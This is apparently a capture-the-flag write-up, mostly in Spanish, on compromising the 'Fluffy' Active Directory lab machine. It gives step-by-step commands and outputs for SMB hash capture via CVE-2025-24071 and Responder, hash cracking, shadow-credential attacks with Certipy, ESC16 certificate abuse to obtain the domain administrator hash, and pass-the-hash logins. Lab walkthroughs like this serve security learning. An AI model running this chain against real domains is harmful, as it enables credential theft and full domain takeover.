FLuffy

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

Scanning

```
sudo nmap -sSV --min-rate 5000 -p- -vvv 10.10.11.69 -oN scanTCP.txt
sudo nmap -sU --min-rate 5000 -p- -vvv 10.10.11.69 -oN scanUDP.txt
```

Port	Service	Details
53/tcp	domain	
88/tcp	kerberos-sec	
123/udp	ntp	
139/tcp	netbios-ssn	
389/tcp	ldap	Domain: fluffy.htb.
445/tcp	microsoft-ds?	
464/tcp	kpasswd5?	
636/tcp	ssl/ldap	
3269/tcp	ssl/ldap	
5985/tcp	http	
9389/tcp	mc-nmf	
49667/tcp	msrpc	
49689/tcp	ncacn_http	
49690/tcp	msrpc	
49691/tcp	msrpc	
49710/tcp	msrpc	
49761/tcp	msrpc	

Beamos si podemos tener acceso a algo de informacion con las credenciales obtenidas.

```
smbmap -u j.fleischman -p 'J0elTHEM4n1990!' -H 10.10.11.69 -d fluffy.htb

[+] IP: 10.10.11.69:445 Name: 10.10.11.69          Status: Authenticated
    Disk                                                    Permissions
Comment
    ----                                                    -----------
---
    ADMIN$                                              NO ACCESS   Remote
Admin
    C$                                                  NO ACCESS   Default
share
    IPC$                                                READ ONLY   Remote
IPC
    IT                                                  READ, WRITE
    NETLOGON                                            READ ONLY   Logon
server share
    SYSVOL                                              READ ONLY   Logon
server share
```

Tenemos acceso en el server de escritura y lectura en IT, veamos que hay dentro.

```
smbmap -u j.fleischman -p 'J0elTHEM4n1990!' -H 10.10.11.69 -d fluffy.htb -r
IT

[+] IP: 10.10.11.69:445 Name: 10.10.11.69          Status: Authenticated
    Disk                                                    Permissions
Comment
    ----                                                    -----------
---
    ADMIN$                                              NO ACCESS   Remote
Admin
    C$                                                  NO ACCESS   Default
share
    IPC$                                                READ ONLY   Remote
IPC
    IT                                                  READ, WRITE
    ./IT
    dr--r--r--                0 Wed Aug 12 16:59:50 2025    .
    dr--r--r--                0 Wed Aug 12 16:59:50 2025    ..
    fr--r--r--              365 Wed Aug 12 11:04:33 2025
documents.library-ms
    dr--r--r--                0 Fri May 16 08:51:49 2025    Everything-
1.4.1.1026.x64
    fr--r--r--          1827464 Fri May 16 08:51:49 2025    Everything-
1.4.1.1026.x64.zip
```

```
    dr--r--r--                0 Fri May 16 08:51:49 2025    KeePass-2.58
    fr--r--r--          3225346 Fri May 16 08:51:49 2025    KeePass-2.58.zip
    fr--r--r--              365 Wed Aug 12 11:26:29 2025    reverse.library-
ms
    fr--r--r--           169963 Sat May 17 08:31:07 2025
Upgrade_Notice.pdf
    NETLOGON                                            READ ONLY   Logon
server share
    SYSVOL                                              READ ONLY   Logon
server share
```

Entonces hay un pdf llamado `Upgrade_Notice.pdf`, posiblemente podamos encontrar algo de informacion importante.

```
smbclient //10.10.11.69/IT -U j.fleischman
> get Upgrade_Notice.pdf
```

Dentro del PDF nos encontramos con una lista de vulnerabilidades, realizando una investigacion, nos encontramos lo siguiente.

CVE ID	Severity	Affected Component	Core Issue	Risk	R A
CVE-2025-24071	Critical	Windows File Explorer	Silent SMB credential leak	Credential theft, relay attacks	P s
CVE-2025-46785	High (CVSS 6.5)	Zoom Workplace (Windows)	Buffer over-read	Denial-of-service	U c
CVE-2025-29968	Medium (6.5)	AD Certificate Services	Input validation error	AD CS disruption	A re
CVE-2025-2119	Medium	AD FS	Spoofing/impersonation	Federated impersonation risk	M a w
CVE-2025-24996	Critical	NTLM/SMB authentication	Path spoofing/external control	Credential relay, access misuse	P h d w

CVE ID	Severity	Affected Component	Core Issue	Risk	R /
CVE-2025-3445	High (≈8.1 CVSS)	Go `archiver` library	Path traversal (“Zip Slip”)	Overwrite filesystem, exec risk	U s

Explotation

okey, vamos a aprobechar la vulnerabilidad `CVE-2025-24071`, que nos ba a permitir obtener el NetNTLMv2 hash , simplemente con que la victima abra el .zip. **CVE-2025-24071

```
python3 PoC.py information YOUR-IP
```

El poc creara un file .zip, lo subimos al servidor en IT y esperamos a que alguien lo ejecute, antes de ello necesitamos ejecutar Responder.

```
sudo python3 responder.py -I tun0
```

SI quieres utilizar Docker para utilizar responder solo tienes que hacer lo siguiente:

1. Crear un file llamado Dockerfile `nano Dockerfile` y agregar los siguientes comandos:

```
FROM ubuntu:20.04

# Install dependencies
RUN apt-get update && \
    apt-get install -y python3 python3-pip git && \
    apt-get install -y python3-dev libssl-dev libffi-dev build-essential &&
\
    # Install networking tools
    apt-get install -y net-tools iproute2

# Install aioquic
RUN pip3 install aioquic

# Clone Responder repository
RUN git clone https://github.com/lgandx/Responder.git /Responder

# Set working directory
WORKDIR /Responder
```

```
# Install the remaining dependencies from requirements.txt
RUN pip3 install -r requirements.txt

# Run Responder
CMD ["python3", "./Responder.py"]
```

2. Creamos una imagen que podemos correr como contenedor.

```
sudo docker build -t responder-image .
```

3. Lo ejecutamos y le damos la interfaz que vamos a usar.

```
sudo docker run --rm --net=host --privileged responder-image python3
/Responder/Responder.py -I tun0 -Pv
```

Ahora simplemente subimos el .zip y esperamos.

```
smbclient //10.10.11.69/IT -U j.fleischman
> put file.zip
```

Luego de un tiempo comensamos a obtener NTLMv2-SSP Hash.

```
[SMB] NTLMv2-SSP Client   : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     :
p.agila::FLUFFY:3e21ff4ecbd6500a:792719CC859176693B9BB481E4B59E14:0101000000
000000003FDFB40607DC01161A98BD9037489900000000020008004900440051005100010001E
00570049004E002D004B0033004D00550051005000 4D00470039003800370004003400570049
004E002D004B0033004D00550051005000 4D00470039003800370 02E00490044005100510 02E
004C004F00430041004C0003001400490044005100510 02E004C004F00430041004C00050014
00490044005100510 02E004C004F00430041004C0007000800003FDFB40607DC010600040002
0000000800300030000000000000000010000000020000 06C883EFDCA64586ABDCBCA301E46F3
144E431ACCDC05208AC13F8FD508C7F8DF0A0010000000000000000000000000000000000009
0022006300690066007300 2F00310030002E00310030002E00310034002E0031003800350000
00000000000000
```

Agregamos el hash dentro de un archivo y utilizamos hashcat para obtener la password.

```
echo 'p.agila::FLUFFY:3e21ff4ecbd6500a:792719CC859176693B9BB4...' >>
ntlm_hash.txt

hashcat -m 5600 -a 0 -o cracked.txt  ntlm_hash.txt
/usr/share/wordlist/SecLists/Passwords/Leaked-Databases/rockyou.txt \

cat cracked.txt
        prometheusx-303
```

Excelente tenemos la password de la victima. `p.agila / prometheusx-303` el siguiente paso es recolectar informacion para poder encontrar mas vulnerabilidades.

BloodHound-python – Collect AD data

```
bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb  -c All -
ns 10.10.11.69

INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 22S
```

revisando un poco en users.json encontramos algo muy interesante.

```
cat 123456789_users.json | grep -o "[a-zA-Z0-9._%+-]\+_svc"

winrm_svc
ca_svc
```

```
ldap_svc
```

Account	Likely Purpose	Potential Risk
`winrm_svc`	Remote management (PowerShell Remoting / WinRM)	Lateral movement
`ca_svc`	Certificate Authority services	ADCS abuse (ESC attacks)
`ldap_svc`	Directory queries/authentication	Enumeration / weak access control

son Service Accounts, perfectas para permitirnos subir de privilegios. Antes de continuar hay que sincronisar la hora con la de kerberos ya que este mismo utiliza marcas de tiempo.

```
sudo ntpdate 10.10.11.69
```

BloodyAD

Ahora intentaremos agregar a p.agila a al grup de Service Accounts para poder obtener el hash de estas mismas.

```
> bloodyAD --host 10.10.11.69 -u 'p.agila' -p 'prometheusx-303' -d
dc01.fluffy.htb add groupMember "SERVICE ACCOUNTS" p.agila

[+] p.agila added to SERVICE ACCOUNTS
```

Certypy-ad

utilizaremos Certypy para obtener los hashes.

```
>certipy shadow auto  -u 'p.agila' -p 'prometheusx-303' -account 'WINRM_SVC'
-dc-ip 10.10.11.69
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID
'18b330f561444904ba38f0a3d2e83539'
[*] Adding Key Credential with device ID '18b330f561444904ba38f0a3d2e83539'
```

```
to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID
'18b330f561444904ba38f0a3d2e83539' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'winrm_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
```

```
>certipy shadow auto  -u 'p.agila' -p 'prometheusx-303' -account 'CA_SVC' -
dc-ip 10.10.11.69
.
.
.
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
```

ya con los hashes, ya se puede ingresar con `evil-winrm` y buscar mas informacion o la bandera en este caso.

```
>evil-winrm -i 10.10.11.69 -u 'winrm_svc' -H
'33bd09dcd697600edf6b3a7af4875767'
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> type user.txt
```

Escalation

Con `Certipy` y la cuenta `CA_svc` buscamos posibles bulnerabilidades que nos permita subir de privilegios.

```
certipy find -vulnerable -u 'CA_svc' -hashes
'ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -target
DC01.fluffy.htb
```

```
cat ..._Certipy.txt
    [!] Vulnerabilities
      ESC16                               : Security Extension is disabled.
```

Porsupuesto encontramos una vulnerabilidad que nos permite escar de privilegios, el procedimiento para aprobechar esta vulnerabilidad es basicamente la misma que se encuentra en la wiki p **Certipy .

Read initial UPN of the victim account (Optional - for restoration).

```
>certipy account \
                                    -u 'p.agila' -p 'prometheusx-303' \
                                    -dc-ip '10.10.11.69' -user 'ca_svc' \
                                    read
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_svc':
    cn                                  : certificate authority service
    distinguishedName                   : CN=certificate authority
service,CN=Users,DC=fluffy,DC=htb
    name                                : certificate authority service
    objectSid                           : S-1-5-21-497550768-2797716248-
2627064577-1103
    sAMAccountName                      : ca_svc
    servicePrincipalName                : ADCS/ca.fluffy.htb
    userPrincipalName                   : ca_svc@fluffy.htb
    userAccountControl                  : 66048
    whenCreated                         : 2025-04-17T16:07:50+00:00
    whenChanged                         : 2025-12-09T01:16:44+00:00
```

Update the victim account's UPN to the target administrator's

```
certipy account \
    -u 'p.agila' -p 'prometheusx-303' \
    -dc-ip '10.10.11.69' -upn 'administrator' \
    -user 'ca_svc' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_svc'
```

Request a certificate as the "victim" user from any suitable client authentication template (e.g., "User") on the ESC16-vulnerable CA.

```
#in the attacker machin
export KRB5CCNAME=ca_svc.ccache

#Then request the certicate

certipy req \
    -k -dc-ip '10.10.11.69' \
    -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' \
    -template 'User'

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used.
This might fail
[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
```

Revert the "victim" account's UPN.

```
certipy account \
    -u 'p.agila' -p 'prometheusx-303' \
    -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' \
    -user 'ca_svc' update

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
```

Authenticate as the target administrator.

```
certipy auth \
    -dc-ip '10.10.11.69' -pfx 'administrator.pfx' \
    -username 'administrator' -domain 'fluffy.htb'

Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb':
aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
```

Ya con el hash del admin, ya podemos obtener la bandera del root.

```
>evil-winrm -i 10.10.11.69 -u 'administrator' -H
'8da83a3fa618b6e3a00e93f676c92a6e'

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
4725e64461dc3f2fd1f00de05cff6578
```